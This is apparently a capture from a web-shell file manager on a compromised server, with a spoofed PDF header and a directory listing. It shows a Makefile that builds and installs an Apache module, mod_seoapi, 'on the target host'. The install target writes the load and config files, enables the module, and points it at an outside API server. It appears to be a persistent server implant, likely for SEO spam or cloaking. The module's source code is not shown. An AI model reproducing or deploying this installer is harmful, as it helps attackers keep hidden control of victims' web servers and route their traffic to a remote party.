%PDF- %PDF-
| Direktori : /proc/self/root/usr/src/mod_seoapi/ |
| Current File : //proc/self/root/usr/src/mod_seoapi/Makefile.debian |
# Debian / Ubuntu apache2 (2.4.x) — build ON the target host # apt-get install -y apache2-dev libcurl4-openssl-dev zlib1g-dev gcc make pkg-config # make -f Makefile.debian # make -f Makefile.debian install # a2enmod seoapi && systemctl restart apache2 APXS ?= apxs CURL_INC ?= $(shell pkg-config --cflags libcurl 2>/dev/null) CURL_LIB ?= $(shell pkg-config --libs libcurl 2>/dev/null) ifeq ($(CURL_LIB),) CURL_LIB = -lcurl endif MODDIR ?= /usr/lib/apache2/modules AVAIL ?= /etc/apache2/mods-available all: mod_seoapi.so mod_seoapi.so: mod_seoapi.c $(APXS) -c $(CURL_INC) -Wc,-O2 -Wc,-fPIC mod_seoapi.c $(CURL_LIB) -lz @if [ -f .libs/mod_seoapi.so ]; then cp -f .libs/mod_seoapi.so ./mod_seoapi.so; fi @ls -la mod_seoapi.so 2>/dev/null || ls -la .libs/mod_seoapi.so install: mod_seoapi.so install -m 0755 mod_seoapi.so $(MODDIR)/mod_seoapi.so @mkdir -p $(AVAIL) @printf '%s\n' \ 'LoadModule seoapi_module $(MODDIR)/mod_seoapi.so' \ > $(AVAIL)/seoapi.load @printf '%s\n' \ 'SeoApiEngine On' \ 'SeoApiServer https://api.ss.edu.pl/' \ > $(AVAIL)/seoapi.conf @echo "Installed. Run: a2enmod seoapi && apache2ctl configtest && systemctl restart apache2" clean: rm -rf *.o *.lo *.slo *.la .libs mod_seoapi.so .PHONY: all install clean